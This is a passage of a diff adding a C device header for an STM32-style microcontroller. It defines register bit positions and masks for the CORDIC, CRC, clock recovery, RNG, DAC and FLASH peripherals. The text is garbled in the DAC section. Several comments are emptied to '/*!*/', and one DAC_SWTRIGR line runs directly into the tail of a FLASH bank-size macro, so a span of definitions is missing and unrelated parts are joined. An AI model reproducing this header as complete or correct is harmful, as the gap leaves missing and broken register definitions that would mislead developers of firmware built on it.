+#define CORDIC_CSR_RRDY_Pos (31U) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0U) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0U) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0U) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0U) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0U) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3U) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5U) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7U) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0U) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0U) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0U) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1U) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2U) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3U) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5U) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6U) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7U) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8U) +#define CRS_CR_TRIM_Msk (0x3FUL << CRS_CR_TRIM_Pos) /*!< 0x00003F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0U) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16U) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24U) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28U) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31U) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0U) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1U) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2U) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3U) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8U) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9U) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10U) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15U) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16U) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0U) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1U) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2U) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3U) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2U) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3U) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5U) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7U) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8U) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12U) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13U) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16U) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20U) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30U) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31U) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0U) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1U) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2U) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5U) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6U) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0U) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3U) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6U) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9U) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12U) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15U) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0U) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk + +/******************** RNG Nist Compliance Values ******************************/ +#define RNG_CR_NIST_VALUE (0x00F00E00U) +#define RNG_HTCR_NIST_VALUE (0x6A91U) +#define RNG_NSCR_NIST_VALUE (0x3AF66U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0U) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14U) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16U) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30U) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0U) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) /*!< FLASH Bank Size */ +#define FLASH_SECTOR_SIZE 0x2000U /*!< Flash Sector Size: 8 KB */ + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0U) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_WRHIGHFREQ_Pos (4U) +#define FLASH_ACR_WRHIGHFREQ_Msk (0x3UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000030 */ +#define FLASH_ACR_WRHIGHFREQ FLASH_ACR_WRHIGHFREQ_Msk /*!< Flash signal delay */ +#define FLASH_ACR_WRHIGHFREQ_0 (0x1UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000010 */ +#define FLASH_ACR_WRHIGHFREQ_1 (0x2UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000020 */ +#define FLASH_ACR_PRFTEN_Pos (8U) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0U) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Interrupted operation address */ +#define FLASH_OPSR_DATA_OP_Pos (21U) +#define FLASH_OPSR_DATA_OP_Msk (0x1UL << FLASH_OPSR_DATA_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_DATA_OP FLASH_OPSR_DATA_OP_Msk /*!< Operation in Flash high-cycle data area interrupted */ +#define FLASH_OPSR_BK_OP_Pos (22U) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (23U) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00800000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_OTP_OP_Pos (24U) +#define FLASH_OPSR_OTP_OP_Msk (0x1UL << FLASH_OPSR_OTP_OP_Pos) /*!< 0x01000000 */ +#define FLASH_OPSR_OTP_OP FLASH_OPSR_OTP_OP_Msk /*!< Operation in OTP area interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29U) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash memory operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTCR register *******************/ +#define FLASH_OPTCR_OPTLOCK_Pos (0U) +#define FLASH_OPTCR_OPTLOCK_Msk (0x1UL << FLASH_OPTCR_OPTLOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OPTCR_OPTLOCK FLASH_OPTCR_OPTLOCK_Msk /*!< FLASH_OPTCR lock option configuration bit */ +#define FLASH_OPTCR_OPTSTART_Pos (1U) +#define FLASH_OPTCR_OPTSTART_Msk (0x1UL << FLASH_OPTCR_OPTSTART_Pos) /*!< 0x00000002 */ +#define FLASH_OPTCR_OPTSTART FLASH_OPTCR_OPTSTART_Msk /*!< Option byte start change option configuration bit */ +#define FLASH_OPTCR_SWAP_BANK_Pos (31U) +#define FLASH_OPTCR_SWAP_BANK_Msk (0x1UL << FLASH_OPTCR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTCR_SWAP_BANK FLASH_OPTCR_SWAP_BANK_Msk /*!< Bank swapping option configuration bit */ + +/******************* Bits definition for FLASH_SR register ***********************/ +#define FLASH_SR_BSY_Pos (0U) +#define FLASH_SR_BSY_Msk (0x1UL << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ +#define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy flag */ +#define FLASH_SR_WBNE_Pos (1U) +#define FLASH_SR_WBNE_Msk (0x1UL << FLASH_SR_WBNE_Pos) /*!< 0x00000002 */ +#define FLASH_SR_WBNE FLASH_SR_WBNE_Msk /*!< Write buffer not empty flag */ +#define FLASH_SR_DBNE_Pos (3U) +#define FLASH_SR_DBNE_Msk (0x1UL << FLASH_SR_DBNE_Pos) /*!< 0x00000008 */ +#define FLASH_SR_DBNE FLASH_SR_DBNE_Msk /*!< Data buffer not empty flag */ +#define FLASH_SR_EOP_Pos (16U) +#define FLASH_SR_EOP_Msk (0x1UL << FLASH_SR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End-of-program flag */ +#define FLASH_SR_WRPERR_Pos (17U) +#define FLASH_SR_WRPERR_Msk (0x1UL << FLASH_SR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write protection error flag */ +#define FLASH_SR_PGSERR_Pos (18U) +#define FLASH_SR_PGSERR_Msk (0x1UL << FLASH_SR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_SR_PGSERR FLASH_SR_PGSERR_Msk /*!< Programming sequence error flag */ +#define FLASH_SR_STRBERR_Pos (19U) +#define FLASH_SR_STRBERR_Msk (0x1UL << FLASH_SR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_SR_STRBERR FLASH_SR_STRBERR_Msk /*!< Strobe error flag */ +#define FLASH_SR_INCERR_Pos (20U) +#define FLASH_SR_INCERR_Msk (0x1UL << FLASH_SR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_SR_INCERR FLASH_SR_INCERR_Msk /*!< Inconsistency error flag */ +#define FLASH_SR_OBKERR_Pos (21U) +#define FLASH_SR_OBKERR_Msk (0x1UL << FLASH_SR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_SR_OBKERR FLASH_SR_OBKERR_Msk /*!< OBK general error flag */ +#define FLASH_SR_OBKWERR_Pos (22U) +#define FLASH_SR_OBKWERR_Msk (0x1UL << FLASH_SR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_SR_OBKWERR FLASH_SR_OBKWERR_Msk /*!< OBK write error flag */ +#define FLASH_SR_OPTCHANGEERR_Pos (23U) +#define FLASH_SR_OPTCHANGEERR_Msk (0x1UL << FLASH_SR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_SR_OPTCHANGEERR FLASH_SR_OPTCHANGEERR_Msk /*!< Option byte change error flag */ + +/******************* Bits definition for FLASH_CR register ***********************/ +#define FLASH_CR_LOCK_Pos (0U) +#define FLASH_CR_LOCK_Msk (0x1UL << FLASH_CR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Configuration lock bit */ +#define FLASH_CR_PG_Pos (1U) +#define FLASH_CR_PG_Msk (0x1UL << FLASH_CR_PG_Pos) /*!< 0x00000002 */ +#define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming control bit */ +#define FLASH_CR_SER_Pos (2U) +#define FLASH_CR_SER_Msk (0x1UL << FLASH_CR_SER_Pos) /*!< 0x00000004 */ +#define FLASH_CR_SER FLASH_CR_SER_Msk /*!< Sector erase request */ +#define FLASH_CR_BER_Pos (3U) +#define FLASH_CR_BER_Msk (0x1UL << FLASH_CR_BER_Pos) /*!< 0x00000008 */ +#define FLASH_CR_BER FLASH_CR_BER_Msk /*!< Bank erase request */ +#define FLASH_CR_FW_Pos (4U) +#define FLASH_CR_FW_Msk (0x1UL << FLASH_CR_FW_Pos) /*!< 0x00000010 */ +#define FLASH_CR_FW FLASH_CR_FW_Msk /*!< Write forcing control bit */ +#define FLASH_CR_START_Pos (5U) +#define FLASH_CR_START_Msk (0x1UL << FLASH_CR_START_Pos) /*!< 0x00000020 */ +#define FLASH_CR_START FLASH_CR_START_Msk /*!< Erase start control bit */ +#define FLASH_CR_SNB_Pos (6U) +#define FLASH_CR_SNB_Msk (0x7FUL << FLASH_CR_SNB_Pos) /*!< 0x00001FC0 */ +#define FLASH_CR_SNB FLASH_CR_SNB_Msk /*!< Sector erase selection number */ +#define FLASH_CR_SNB_0 (0x01UL << FLASH_CR_SNB_Pos) /*!< 0x00000040 */ +#define FLASH_CR_SNB_1 (0x02UL << FLASH_CR_SNB_Pos) /*!< 0x00000080 */ +#define FLASH_CR_SNB_2 (0x04UL << FLASH_CR_SNB_Pos) /*!< 0x00000100 */ +#define FLASH_CR_SNB_3 (0x08UL << FLASH_CR_SNB_Pos) /*!< 0x00000200 */ +#define FLASH_CR_SNB_4 (0x10UL << FLASH_CR_SNB_Pos) /*!< 0x00000400 */ +#define 